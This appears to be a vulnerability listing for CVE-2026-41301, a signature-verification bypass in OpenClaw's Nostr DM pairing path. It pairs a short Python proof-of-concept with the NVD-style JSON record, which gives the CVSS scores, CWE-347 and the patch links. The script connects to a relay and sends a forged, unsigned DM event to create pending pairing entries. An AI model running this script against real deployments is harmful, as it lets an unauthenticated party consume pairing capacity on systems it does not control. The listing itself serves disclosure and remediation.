CVE-2026-41301

import json import websockets import asyncio # Conceptual Proof of Concept for CVE-2026-41301 # This script demonstrates how an unauthenticated attacker might send # a forged Nostr DM to trigger the pairing challenge before signature validation. async def exploit_openclaw(relay_url, target_pubkey): # Construct a forged Nostr event (Kind 4 is DM) # Note: In a real scenario, the signature would be invalid or missing # to bypass the verification logic in the vulnerable version. forged_event = { "kind": 4, "content": "Forged pairing payload", "tags": [["p", target_pubkey]], "created_at": 1713648000, "pubkey": "attacker_controlled_pubkey", # "sig": "..." // Signature omitted to exploit bypass } # Nostr relay message format message = ["EVENT", forged_event] try: print(f"[*] Connecting to {relay_url}...") async with websockets.connect(relay_url) as websocket: print("[*] Sending forged DM to trigger pairing bypass...") await websocket.send(json.dumps(message)) print("[+] Payload sent. Check target for pending pairing entries.") except Exception as e: print(f"[-] Error: {e}") # Replace with actual target details # asyncio.run(exploit_openclaw("wss://target-openclaw-relay.com", "victim_public_key"))

{"cve": {"id": "CVE-2026-41301", "sourceIdentifier": "[email protected]", "published": "2026-04-21T00:16:30.873", "lastModified": "2026-04-27T16:56:50.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions 2026.3.22 before 2026.3.31 contain a signature verification bypass vulnerability in the Nostr DM ingress path that allows pairing challenges to be issued before event signature validation. An unauthenticated remote attacker can send forged direct messages to create pending pairing entries and trigger pairing-reply attempts, consuming shared pairing capacity and triggering bounded relay and logging work on the Nostr channel."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/4ee742174f36b5445703e3b1ef2fbd6ae6700fa4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h43v-27wg-5mf9", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-forged-nostr-dm-pairing-state-creation-via-signature-verification-bypass", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}